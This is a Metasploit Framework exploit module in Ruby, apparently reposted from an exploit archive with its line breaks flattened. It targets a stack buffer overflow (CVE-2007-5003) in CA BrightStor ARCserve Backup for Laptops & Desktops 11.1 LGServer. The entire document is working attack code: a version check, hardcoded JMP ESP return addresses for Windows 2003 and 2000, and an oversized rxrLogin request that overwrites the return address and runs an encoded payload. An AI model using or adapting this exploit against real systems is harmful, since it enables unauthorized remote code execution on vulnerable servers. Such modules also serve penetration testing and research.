CA BrightStor ARCserve for Laptops & Desktops LGServer – Remote Buffer Overflow (Metasploit) (3)
## # $Id: lgserver_rxrlogin.rb 10892 2010-11-03 22:09:44Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10892 $', 'References' => [ [ 'CVE', '2007-5003' ], [ 'OSVDB', '41353' ], [ 'BID', '24348' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll ], 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(1900) ], self.class) end def check connect sock.put("0000000019rxrGetServerVersion") ver = sock.get_once disconnect if ( ver =~ /11.1.742/ ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V') buffer << payload.encoded + rand_text_alpha_upper(300) sploit = "0000018124" # Command Length Field sploit << "rxrLogin" # RPC Command sploit << "~~" # Constant Argument Delimiter sploit << buffer # Argument print_status("Trying target #{target.name}...") # One-shot overwrite... sock.put(sploit) handler disconnect end end |